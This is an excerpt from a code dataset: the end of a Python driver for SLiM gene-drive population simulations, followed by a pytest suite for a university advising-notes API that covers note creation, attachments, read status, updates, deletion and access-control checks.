germline_resistance,\n \"T\" if haplolethal else \"F\",\n \"T\" if haplosufficient else \"F\")\n\n # Add body from file.\n slim_body = \"\"\n if grna_count == 1:\n with open(\"headless-pan-1grna.slim\", 'r') as f:\n slim_body = f.read()\n if grna_count == 2:\n with open(\"headless-pan-2grna.slim\", 'r') as f:\n slim_body = f.read()\n\n slim_full = slim_head + slim_body\n\n # Write final string to file.\n with open(\"py_gen_slimfile.slim\", 'w+') as f:\n f.write(slim_full)\n\n\ndef run_slim():\n \"\"\"\n Runs slim on file \"py_gen_slimfile.slim\".\n :return: Slim output as a string.\n \"\"\"\n slim = subprocess.Popen([\"slim\", \"py_gen_slimfile.slim\"], stdout=subprocess.PIPE, universal_newlines=True)\n out = slim.communicate()[0]\n return out\n\n\ndef use_slim_out(slim_output):\n \"\"\"\n Parse through slim output to pick out the highest level drive allele reached.\n :param slim_output: String representing output from slim run.\n :return: Float for the highest level drive allele reached in the run,\n float for the average level of the allele after it is added,\n and a float for the highest change in drive rate.\n \"\"\"\n # For tracking max drive frequency.\n max_drive_freq = 0.0\n # For tracking average drive frequency\n sum_of_drive_freqs = 0.0\n generations_after_drop = 0\n dropped = False\n # For tracking rate of increase.\n highest_rate_of_increase = 0.0\n prev_gen_drive_freq = 0\n\n line_split = slim_output.split('\\n')\n for line in line_split:\n if line.startswith(\"PYTHON::\"):\n # Find drive freq in each generation.\n cur_gen_drive_freq = float(line.split()[1])\n if dropped is True:\n # After drive has been dropped, add up drive rate and\n # number of generations elapsed.\n sum_of_drive_freqs += cur_gen_drive_freq\n generations_after_drop += 1\n if cur_gen_drive_freq != 0:\n # Sets dropped flag after seeing dropped flies,\n # thus excluding the dropped group from the count,\n # beginning the count with their offspring.\n dropped = True\n if cur_gen_drive_freq > max_drive_freq:\n # Save the maximum drive freq that is found.\n max_drive_freq = cur_gen_drive_freq\n # Check the current rate of increase.\n if prev_gen_drive_freq != 0:\n increase_rate = cur_gen_drive_freq / prev_gen_drive_freq - 1\n # increase_rate = cur_gen_drive_freq - prev_gen_drive_freq\n # Save this rate of incrase if it is the highest yet.\n if increase_rate > highest_rate_of_increase:\n highest_rate_of_increase = increase_rate\n prev_gen_drive_freq = cur_gen_drive_freq\n # Get average drive frequency.\n avg_drive_freq = 0.0\n if generations_after_drop:\n avg_drive_freq = sum_of_drive_freqs/generations_after_drop\n if not generations_after_drop:\n print(\"ERROR?\")\n return max_drive_freq, avg_drive_freq, highest_rate_of_increase\n\n\ndef cfg_params():\n \"\"\"\n Configure parameters from command line.\n \"\"\"\n haplolethal = False\n haplosufficient = False\n grna_count = 1 # 1 or 2 only right now.\n\n if len(sys.argv) == 1:\n return haplolethal, haplosufficient, grna_count\n for arg in sys.argv:\n if arg.startswith(\"-help\"):\n print(\"Permitted arguments:\\n\"\n \"-help : displays this help.\\n\"\n \"-hl or -haplolethal : Run with haplolethal drive.\\n\"\n \"-hs or -haplosufficient : Run with haplosufficient recessive lethal drive.\\n\"\n \"-2grna : Model drive with 2 grna.\")\n if arg.startswith(\"-hl\") or arg.startswith(\"-haplolethal\"):\n haplolethal = True\n if arg.startswith(\"-hs\") or arg.startswith(\"-haplosufficient\"):\n haplosufficient = True\n if arg.startswith(\"-2grna\"):\n grna_count = 2\n return haplolethal, haplosufficient, grna_count\n\n\ndef main(standard_output=True):\n \"\"\"\n 0. Configure from command line.\n 1. Generate slim files with varying parameters.\n 2. Run slim files as they are generated.\n 3. Parse desired information from slim output.\n 4. Output parsed information to csv file.\n \"\"\"\n # First, configure from command line.\n haplolethal, haplosufficient, grna_count = cfg_params()\n if not standard_output:\n print(\"Settings: Germline resistance rate: {}\\nHaplolethal: {}\\n\" \\\n \"Recessive lethal: {}\\nGRNA count: {}\"\n .format(GERMLINE_RESISTANCE_RATE, haplolethal, haplosufficient, grna_count))\n\n # Header for CSV file.\n csv_str = \"Drive Fitness,Embryo Res Rate,Max Drive Freq Achieved,\" \\\n \"Avg Drive Freq After Release,Max Rate of Drive Increase\\n\"\n if standard_output:\n print(csv_str, end=\"\")\n\n # Drive fitness and embryo resistance to be incremented between runs.\n drive_fit = 0.5\n embryo_res = 0.0\n # Do 26*26 runs with varying parameters.\n for i in range(26):\n for j in range(26):\n if not standard_output:\n print(\"Running with fitness {:.2} and embryo res rate {:.2}.\".format(drive_fit, embryo_res))\n # Generate a slim file with the current fitness and res rate.\n generate_slim(drive_ftiness=drive_fit,\n embryo_resistance=embryo_res,\n germline_resistance=GERMLINE_RESISTANCE_RATE,\n haplolethal=haplolethal,\n haplosufficient=haplosufficient,\n grna_count=grna_count)\n # Run the slim file.\n slim_output = run_slim()\n # Parse max drive freq.\n run_max_drive_freq, run_avg_freq, run_highest_increase = use_slim_out(slim_output)\n # Add a line to the csv string describing the run.\n csv_line = \"{:.2},{:.2},{},{},{}\\n\".format(\n drive_fit, embryo_res, run_max_drive_freq, run_avg_freq, run_highest_increase)\n if standard_output:\n print(csv_line, end=\"\")\n csv_str += csv_line\n # Increment variables:\n embryo_res += 0.04\n drive_fit += 0.02\n embryo_res = 0.0\n\n # Now write final csv string to file.\n csv_filename = \"slim_results_\"\n\n if GERMLINE_RESISTANCE_RATE == DROSOPHILA:\n csv_filename += \"Drosophila_\"\n else:\n csv_filename += \"Anopheles_\"\n\n if haplolethal:\n csv_filename += \"haplolethal_\"\n if haplosufficient:\n csv_filename += \"haplosufficient_\"\n\n csv_filename += \"{}_grna_\".format(grna_count) + str(date.today()) + \".csv\"\n\n # Only output a CSV if standard output is off.\n if not standard_output:\n with open(\"data/\" + csv_filename, 'w+') as f:\n f.write(csv_str)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"model_driver.py","file_name":"model_driver.py","file_ext":"py","file_size_in_byte":8692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"425599726","text":"\"\"\"\nCopyright ©2021. The Regents of the University of California (Regents). All Rights Reserved.\n\nPermission to use, copy, modify, and distribute this software and its documentation\nfor educational, research, and not-for-profit purposes, without fee and without a\nsigned licensing agreement, is hereby granted, provided that the above copyright\nnotice, this paragraph and the following two paragraphs appear in all copies,\nmodifications, and distributions.\n\nContact The Office of Technology Licensing, UC Berkeley, 2150 Shattuck Avenue,\nSuite 510, Berkeley, CA 94720-1620, (510) 643-7201, otl@berkeley.edu,\nhttp://ipira.berkeley.edu/industry-info for commercial licensing opportunities.\n\nIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL,\nINCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING OUT OF\nTHE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS BEEN ADVISED\nOF THE POSSIBILITY OF SUCH DAMAGE.\n\nREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE\nSOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED HEREUNDER IS PROVIDED\n\"AS IS\". REGENTS HAS NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES,\nENHANCEMENTS, OR MODIFICATIONS.\n\"\"\"\n\nfrom datetime import datetime\nfrom time import sleep\n\nfrom boac.lib.util import localize_datetime, utc_now\nfrom boac.models.authorized_user import AuthorizedUser\nfrom boac.models.cohort_filter import CohortFilter\nfrom boac.models.curated_group import CuratedGroup\nfrom boac.models.note import Note\nfrom boac.models.note_attachment import NoteAttachment\nfrom boac.models.note_read import NoteRead\nimport pytest\nfrom tests.test_api.api_test_utils import all_cohorts_owned_by\nfrom tests.util import mock_advising_note_s3_bucket, mock_legacy_note_attachment\n\nasc_advisor_uid = '6446'\ncoe_advisor_uid = '1133399'\ncoe_advisor_no_advising_data_uid = '1022796'\ncoe_scheduler_uid = '6972201'\nl_s_director_uid = '53791'\nl_s_major_advisor_uid = '242881'\nl_s_director_no_advising_data_uid = '1022796'\nadmin_uid = '2040'\n\ncoe_student = {\n 'sid': '9000000000',\n 'uid': '300847',\n}\n\n\n@pytest.fixture()\ndef mock_coe_advising_note():\n return Note.create(\n author_uid=coe_advisor_uid,\n author_name='Balloon Man',\n author_role='Spherical',\n author_dept_codes='COENG',\n sid=coe_student['sid'],\n subject='I was walking up Sixth Avenue',\n body='He spattered me with tomatoes, Hummus, chick peas',\n )\n\n\n@pytest.fixture()\ndef mock_asc_advising_note(app, db):\n return Note.create(\n author_uid='1133399',\n author_name='Roberta Joan Anderson',\n author_role='Advisor',\n author_dept_codes=['COENG'],\n sid='3456789012',\n subject='The hissing of summer lawns',\n body=\"\"\"\n She could see the valley barbecues from her window sill.\n See the blue pools in the squinting sun. Hear the hissing of summer lawns\n \"\"\",\n topics=['darkness', 'no color no contrast'],\n )\n\n\nclass TestGetNote:\n\n @classmethod\n def _api_note_by_id(cls, client, note_id, expected_status_code=200):\n response = client.get(f'/api/note/{note_id}')\n assert response.status_code == expected_status_code\n return response.json\n\n def test_not_authenticated(self, app, client, mock_coe_advising_note):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n self._api_note_by_id(client=client, note_id=mock_coe_advising_note.id, expected_status_code=401)\n\n def test_user_without_advising_data_access(self, client, fake_auth, mock_coe_advising_note):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n self._api_note_by_id(client=client, note_id=mock_coe_advising_note.id, expected_status_code=401)\n\n def test_get_note_by_id(self, app, client, fake_auth, mock_coe_advising_note):\n \"\"\"Returns note in JSON compatible with BOA front-end.\"\"\"\n fake_auth.login(admin_uid)\n note = self._api_note_by_id(client=client, note_id=mock_coe_advising_note.id)\n assert note\n assert 'id' in note\n assert note['type'] == 'note'\n assert note['body'] == note['message']\n assert note['read'] is False\n # Mark as read and re-test\n NoteRead.find_or_create(AuthorizedUser.get_id_per_uid(admin_uid), note['id'])\n assert self._api_note_by_id(client=client, note_id=mock_coe_advising_note.id)['read'] is True\n\n\nclass TestNoteCreation:\n\n def test_not_authenticated(self, app, client):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n assert _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='Rusholme Ruffians',\n body='This is the last night of the fair, And the grease in the hair',\n expected_status_code=401,\n )\n\n def test_admin_user_is_not_authorized(self, app, client, fake_auth):\n \"\"\"Returns 401 if user is an admin.\"\"\"\n fake_auth.login(admin_uid)\n admin = AuthorizedUser.find_by_uid(admin_uid)\n assert _api_note_create(\n app,\n client,\n author_id=admin.id,\n sids=[coe_student['sid']],\n subject='Rusholme Ruffians',\n body='This is the last night of the fair, And the grease in the hair',\n expected_status_code=403,\n )\n\n def test_scheduler_is_not_authorized(self, app, client, fake_auth):\n \"\"\"Returns 401 if user is a scheduler.\"\"\"\n fake_auth.login(coe_scheduler_uid)\n admin = AuthorizedUser.find_by_uid(coe_scheduler_uid)\n assert _api_note_create(\n app,\n client,\n author_id=admin.id,\n sids=[coe_student['sid']],\n subject='Gobbledygook',\n body='Language made unintelligible by excessive use of abstruse technical terms.',\n expected_status_code=401,\n )\n\n def test_user_without_advising_data_access(self, app, client, fake_auth):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n user = AuthorizedUser.find_by_uid(coe_advisor_no_advising_data_uid)\n assert _api_note_create(\n app,\n client,\n author_id=user.id,\n sids=[coe_student['sid']],\n subject='Verboten',\n body='Diese Aktion ist nicht zulässig.',\n expected_status_code=401,\n )\n\n def test_create_note(self, app, client, fake_auth):\n \"\"\"Create a note.\"\"\"\n fake_auth.login(coe_advisor_uid)\n subject = 'Vicar in a Tutu'\n new_note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject=subject,\n body='A scanty bit of a thing with a decorative ring',\n )\n note_id = new_note.get('id')\n assert new_note['read'] is True\n assert isinstance(note_id, int) and note_id > 0\n assert new_note['author']['uid'] == coe_advisor_uid\n assert 'name' in new_note['author']\n assert new_note['author']['role'] == 'advisor'\n assert new_note['author']['departments'][0]['name'] == 'College of Engineering'\n assert new_note['updatedAt'] is None\n # Get notes per SID and compare\n notes = _get_notes(client, coe_student['uid'])\n match = next((n for n in notes if n['id'] == note_id), None)\n assert match and match['subject'] == subject\n\n def test_create_note_prefers_ldap_dept_affiliation_and_title(self, app, client, fake_auth):\n fake_auth.login(l_s_major_advisor_uid)\n new_note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(l_s_major_advisor_uid),\n sids=[coe_student['sid']],\n subject='A dreaded sunny day',\n body='Keats and Yeats are on your side',\n )\n assert new_note['author']['departments'][0]['name'] == 'Department of English'\n assert new_note['author']['role'] == 'Harmless Drudge'\n\n def test_updated_date_is_none_when_note_create(self, app, client, fake_auth):\n \"\"\"Create a note and expect none updated_at.\"\"\"\n fake_auth.login(coe_advisor_uid)\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='Creating is not updating',\n body=None,\n )\n assert note['createdAt'] is not None\n assert note['updatedAt'] is None\n\n def test_create_note_with_topics(self, app, client, fake_auth):\n \"\"\"Create a note with topics.\"\"\"\n fake_auth.login(coe_advisor_uid)\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='Incubate transparent web services',\n body='Facilitate value-added initiatives',\n topics=['Shadrach', 'Meshach', 'Abednego'],\n )\n assert len(note.get('topics')) == 3\n for topic in ('Shadrach', 'Meshach', 'Abednego'):\n assert topic in note.get('topics')\n assert note['createdAt'] is not None\n assert note['updatedAt'] is None\n\n def test_create_note_with_raw_url_in_body(self, app, client, fake_auth):\n \"\"\"Create a note with topics.\"\"\"\n fake_auth.login(coe_advisor_uid)\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='Get rich quick',\n body='Get an online degree at send.money.edu university',\n )\n expected_body = 'Get an online degree at send.money.edu university'\n assert note.get('body') == expected_body\n assert note['createdAt'] is not None\n assert note['updatedAt'] is None\n\n def test_create_note_with_attachments(self, app, client, fake_auth, mock_note_template):\n \"\"\"Create a note, with two attachments.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='I come with attachments',\n body='I come correct',\n attachments=[\n f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt',\n f'{base_dir}/fixtures/mock_advising_note_attachment_2.txt',\n ],\n template_attachment_ids=list(map(lambda a: a.id, mock_note_template.attachments)),\n )\n template_attachment_count = len(mock_note_template.attachments)\n assert template_attachment_count\n expected_attachment_count = template_attachment_count + 2\n\n assert len(note.get('attachments')) == expected_attachment_count\n assert note['createdAt'] is not None\n assert note['updatedAt'] is None\n\n\nclass TestBatchNoteCreation:\n\n sids = [\n '960759268', '856024035', '370048698', '709706581', '518777297', '912902626', '466030628', '695508833',\n '729680066', '534614253', '329221239', '882981218', '734373851', '968319871', '824231751', '904338427',\n '849739234', '310798157', '301806363', '352212185', '3456789012', '5678901234', '11667051', '8901234567',\n '3456789012', '11667051',\n ]\n\n def test_user_without_advising_data_access(self, app, client, fake_auth):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n user = AuthorizedUser.find_by_uid(coe_advisor_no_advising_data_uid)\n _api_batch_note_create(\n app,\n client,\n author_id=user.id,\n subject='Verboten',\n body='Diese Aktion ist nicht zulässig.',\n sids=self.sids,\n expected_status_code=401,\n )\n\n def test_batch_note_creation_with_sids(self, app, client, fake_auth, mock_note_template):\n \"\"\"Batch note creation with list of SIDs.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n advisor = AuthorizedUser.find_by_uid(coe_advisor_uid)\n subject = f'Elevate Me Later {datetime.now().timestamp()}'\n\n # Curated group\n curated_group_ids, sids_in_curated_groups = _get_curated_groups_ids_and_sids(advisor)\n # We need at least one curated_group SID that is NOT in the list o' sids above.\n sid_expected_in_curated_group = '7890123456'\n assert sid_expected_in_curated_group in sids_in_curated_groups\n assert sid_expected_in_curated_group not in self.sids\n # Cohort\n cohort_ids, sids_in_cohorts = _get_cohorts_ids_and_sids(advisor)\n # We need at least one cohort SID that is NOT in the list o' sids above.\n expected_sid_in_cohort = '9000000000'\n assert expected_sid_in_cohort not in self.sids\n assert expected_sid_in_cohort in sids_in_cohorts\n\n # List above has duplicates - verify that it is de-duped.\n distinct_sids = set(self.sids + sids_in_curated_groups + sids_in_cohorts)\n topics = ['Slanted', 'Enchanted']\n _api_batch_note_create(\n app,\n client,\n author_id=advisor.id,\n subject=subject,\n body='Well you greet the tokens and stamps, beneath the fake oil burnin\\' lamps',\n sids=self.sids,\n curated_group_ids=curated_group_ids,\n cohort_ids=cohort_ids,\n topics=topics,\n attachments=[\n f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt',\n f'{base_dir}/fixtures/mock_advising_note_attachment_2.txt',\n ],\n template_attachment_ids=list(map(lambda a: a.id, mock_note_template.attachments)),\n )\n notes = Note.query.filter(Note.subject == subject).all()\n assert len(notes) == len(distinct_sids)\n matching_notes_read = NoteRead.get_notes_read_by_user(viewer_id=advisor.id, note_ids=[str(n.id) for n in notes])\n assert len(notes) == len(matching_notes_read)\n\n template_attachment_count = len(mock_note_template.attachments)\n assert template_attachment_count\n expected_attachment_count = template_attachment_count + 2\n\n for sid in distinct_sids:\n note = next((n for n in notes if n.sid == sid), None)\n assert note\n assert note.subject == subject\n assert note.author_uid == advisor.uid\n assert len(note.topics) == 2\n topics = [t.topic for t in note.topics]\n assert 'Slanted' in topics\n assert 'Enchanted' in topics\n assert len(note.attachments) == expected_attachment_count\n\n\nclass TestNoteAttachments:\n\n def test_user_without_advising_data_access(self, app, client, fake_auth):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n delete_response = client.delete('/api/notes/1/attachment/1')\n assert delete_response.status_code == 401\n\n with mock_advising_note_s3_bucket(app):\n base_dir = app.config['BASE_DIR']\n data = {'attachment[0]': open(f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt', 'rb')}\n response = client.post(\n '/api/notes/1/attachments',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == 401\n\n def test_remove_attachment(self, app, client, fake_auth):\n \"\"\"Remove an attachment from an existing note.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='I come with attachments',\n body='I come correct',\n attachments=[\n f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt',\n f'{base_dir}/fixtures/mock_advising_note_attachment_2.txt',\n ],\n )\n assert note['updatedAt'] is None\n # Pause one second to ensure a distinct updatedAt.\n sleep(1)\n\n note_id = note['id']\n id_to_delete = note['attachments'][0]['id']\n id_to_keep = note['attachments'][1]['id']\n\n delete_response = client.delete(f'/api/notes/{note_id}/attachment/{id_to_delete}')\n assert delete_response.status_code == 200\n assert len(delete_response.json['attachments']) == 1\n assert delete_response.json['attachments'][0]['id'] == id_to_keep\n\n notes = _get_notes(client, coe_student['uid'])\n match = next((n for n in notes if n['id'] == note_id), None)\n assert len(match.get('attachments')) == 1\n assert match['attachments'][0]['id'] == id_to_keep\n assert match['updatedAt'] is not None\n\n def test_add_attachment(self, app, client, fake_auth):\n \"\"\"Add an attachment to an existing note.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='No attachments yet',\n body='I travel light',\n )\n assert note['updatedAt'] is None\n # Pause one second to ensure a distinct updatedAt.\n sleep(1)\n note_id = note['id']\n with mock_advising_note_s3_bucket(app):\n data = {'attachment[0]': open(f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt', 'rb')}\n response = client.post(\n f'/api/notes/{note_id}/attachments',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == 200\n updated_note = response.json\n assert len(updated_note['attachments']) == 1\n assert updated_note['attachments'][0]['filename'] == 'mock_advising_note_attachment_1.txt'\n assert updated_note['updatedAt'] is not None\n\n def test_add_attachments(self, app, client, fake_auth):\n \"\"\"Add multiple attachments to an existing note.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='No attachments yet',\n body='I travel light',\n )\n assert note['updatedAt'] is None\n # Pause one second to ensure a distinct updatedAt.\n sleep(1)\n note_id = note['id']\n with mock_advising_note_s3_bucket(app):\n data = {\n 'attachment[0]': open(f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt', 'rb'),\n 'attachment[1]': open(f'{base_dir}/fixtures/mock_advising_note_attachment_2.txt', 'rb'),\n }\n response = client.post(\n f'/api/notes/{note_id}/attachments',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == 200\n updated_note = response.json\n assert len(updated_note['attachments']) == 2\n assert updated_note['attachments'][0]['filename'] == 'mock_advising_note_attachment_1.txt'\n assert updated_note['attachments'][1]['filename'] == 'mock_advising_note_attachment_2.txt'\n assert updated_note['updatedAt'] is not None\n\n\nclass TestMarkNoteRead:\n\n def test_mark_read_not_authenticated(self, client):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n assert client.post('/api/notes/11667051-00001/mark_read').status_code == 401\n\n def test_user_without_advising_data_access(self, client, fake_auth):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n assert client.post('/api/notes/11667051-00001/mark_read').status_code == 401\n\n def test_mark_note_read(self, app, client, fake_auth):\n \"\"\"Marks a note as read.\"\"\"\n fake_auth.login(coe_advisor_uid)\n all_notes_unread = _get_notes(client, 61889)\n assert len(all_notes_unread) == 9\n for note in all_notes_unread:\n assert note['read'] is False\n\n # SIS notes\n response = client.post('/api/notes/11667051-00001/mark_read')\n assert response.status_code == 201\n response = client.post('/api/notes/11667051-00003/mark_read')\n assert response.status_code == 201\n # ASC note\n response = client.post('/api/notes/11667051-139379/mark_read')\n assert response.status_code == 201\n # Data Science note\n response = client.post('/api/notes/11667051-20190801112456/mark_read')\n assert response.status_code == 201\n # E&I note\n response = client.post('/api/notes/11667051-151620/mark_read')\n assert response.status_code == 201\n\n all_notes_after_read = _get_notes(client, 61889)\n assert len(all_notes_after_read) == 9\n assert all_notes_after_read[0]['id'] == '11667051-00001'\n assert all_notes_after_read[0]['read'] is True\n assert all_notes_after_read[1]['id'] == '11667051-00002'\n assert all_notes_after_read[1]['read'] is False\n assert all_notes_after_read[2]['id'] == '11667051-00003'\n assert all_notes_after_read[2]['read'] is True\n assert all_notes_after_read[3]['id'] == '11667051-00004'\n assert all_notes_after_read[3]['read'] is False\n assert all_notes_after_read[4]['id'] == '11667051-139362'\n assert all_notes_after_read[4]['read'] is False\n assert all_notes_after_read[5]['id'] == '11667051-139379'\n assert all_notes_after_read[5]['read'] is True\n assert all_notes_after_read[6]['id'] == '11667051-20181003051208'\n assert all_notes_after_read[6]['read'] is False\n assert all_notes_after_read[7]['id'] == '11667051-20190801112456'\n assert all_notes_after_read[7]['read'] is True\n assert all_notes_after_read[8]['id'] == '11667051-151620'\n assert all_notes_after_read[8]['read'] is True\n\n\nclass TestUpdateNotes:\n\n @classmethod\n def _api_note_update(\n cls,\n app,\n client,\n note_id,\n subject,\n body,\n topics=(),\n expected_status_code=200,\n ):\n with mock_advising_note_s3_bucket(app):\n data = {\n 'id': note_id,\n 'subject': subject,\n 'body': body,\n 'topics': ','.join(topics),\n }\n response = client.post(\n '/api/notes/update',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == expected_status_code\n return response.json\n\n def test_note_update_not_authenticated(self, app, mock_advising_note, client):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n self._api_note_update(\n app,\n client,\n note_id=mock_advising_note.id,\n subject='Hack the subject!',\n body='Hack the body!',\n expected_status_code=401,\n )\n\n def test_user_without_advising_data_access(self, app, client, fake_auth, mock_coe_advising_note):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n assert self._api_note_update(\n app,\n client,\n note_id=mock_coe_advising_note.id,\n subject='Change the subject',\n body='',\n expected_status_code=401,\n )\n\n def test_unauthorized_update_note(self, app, client, fake_auth, mock_coe_advising_note):\n \"\"\"Deny user's attempt to edit someone else's note.\"\"\"\n original_subject = mock_coe_advising_note.subject\n fake_auth.login(asc_advisor_uid)\n assert self._api_note_update(\n app,\n client,\n note_id=mock_coe_advising_note.id,\n subject='Hack someone else\\'s subject!',\n body='Hack someone else\\'s body!',\n expected_status_code=403,\n )\n assert Note.find_by_id(note_id=mock_coe_advising_note.id).subject == original_subject\n\n def test_update_note_with_raw_url_in_body(self, app, client, fake_auth, mock_coe_advising_note):\n \"\"\"Updates subject and body of note.\"\"\"\n fake_auth.login(mock_coe_advising_note.author_uid)\n expected_subject = 'There must have been a plague of them'\n body = '

They were www.guzzle.com at https://marsh.mallows.com and FOX news

' # noqa: E501\n expected_body = '

They were www.guzzle.com at https://marsh.mallows.com and FOX news

' # noqa: E501\n updated_note_response = self._api_note_update(\n app,\n client,\n note_id=mock_coe_advising_note.id,\n subject=expected_subject,\n body=body,\n )\n assert updated_note_response['read'] is True\n updated_note = Note.find_by_id(note_id=mock_coe_advising_note.id)\n assert updated_note.subject == expected_subject\n assert updated_note.body == expected_body\n\n def test_update_note_topics(self, app, client, fake_auth, mock_asc_advising_note):\n \"\"\"Update note topics.\"\"\"\n fake_auth.login(mock_asc_advising_note.author_uid)\n expected_topics = ['Blinking lights', ' and other revelations']\n api_json = self._api_note_update(\n app,\n client,\n note_id=mock_asc_advising_note.id,\n subject=mock_asc_advising_note.subject,\n body=mock_asc_advising_note.body,\n topics=expected_topics,\n )\n assert api_json['read'] is True\n assert len(api_json['topics']) == 2\n assert 'Blinking lights' in api_json['topics']\n assert ' and other revelations' in api_json['topics']\n\n def test_remove_note_topics(self, app, client, fake_auth, mock_asc_advising_note):\n \"\"\"Delete note topics.\"\"\"\n fake_auth.login(mock_asc_advising_note.author_uid)\n original_topics = mock_asc_advising_note.topics\n assert len(original_topics)\n api_json = self._api_note_update(\n app,\n client,\n note_id=mock_asc_advising_note.id,\n subject=mock_asc_advising_note.subject,\n body=mock_asc_advising_note.body,\n topics=[],\n )\n assert not api_json['topics']\n # Put those topics back\n api_json = self._api_note_update(\n app,\n client,\n note_id=mock_asc_advising_note.id,\n subject=mock_asc_advising_note.subject,\n body=mock_asc_advising_note.body,\n topics=[t.topic for t in original_topics],\n )\n assert set(api_json['topics']) == set([t.topic for t in original_topics])\n\n\nclass TestDeleteNote:\n \"\"\"Delete note API.\"\"\"\n\n def test_not_authenticated(self, client):\n \"\"\"You must log in to delete a note.\"\"\"\n response = client.delete('/api/notes/delete/123')\n assert response.status_code == 401\n\n def test_user_without_advising_data_access(self, client, fake_auth, mock_coe_advising_note):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n fake_auth.login(coe_advisor_no_advising_data_uid)\n response = client.delete(f'/api/notes/delete/{mock_coe_advising_note.id}')\n assert response.status_code == 401\n assert Note.find_by_id(mock_coe_advising_note.id)\n\n def test_unauthorized(self, client, fake_auth, mock_coe_advising_note):\n \"\"\"Advisor cannot delete the note of another.\"\"\"\n fake_auth.login('6446')\n response = client.delete(f'/api/notes/delete/{mock_coe_advising_note.id}')\n assert response.status_code == 403\n assert Note.find_by_id(mock_coe_advising_note.id)\n\n def test_advisor_cannot_delete(self, client, fake_auth, mock_coe_advising_note):\n \"\"\"Advisor cannot delete her own note.\"\"\"\n fake_auth.login(mock_coe_advising_note.author_uid)\n response = client.delete(f'/api/notes/delete/{mock_coe_advising_note.id}')\n assert response.status_code == 403\n assert Note.find_by_id(mock_coe_advising_note.id)\n\n def test_admin_delete(self, client, fake_auth, mock_coe_advising_note):\n \"\"\"Admin can delete another user's note.\"\"\"\n original_count_per_sid = len(Note.get_notes_by_sid(mock_coe_advising_note.sid))\n fake_auth.login(admin_uid)\n note_id = mock_coe_advising_note.id\n response = client.delete(f'/api/notes/delete/{note_id}')\n assert response.status_code == 200\n assert not Note.find_by_id(note_id)\n assert 1 == original_count_per_sid - len(Note.get_notes_by_sid(mock_coe_advising_note.sid))\n assert not Note.update(note_id=note_id, subject='Deleted note cannot be updated')\n\n def test_delete_note_with_topics(self, app, client, fake_auth):\n \"\"\"Delete a note with topics.\"\"\"\n fake_auth.login(coe_advisor_uid)\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='Recontextualize open-source supply-chains',\n body='Conveniently repurpose enterprise-wide action items',\n topics=['strategic interfaces'],\n 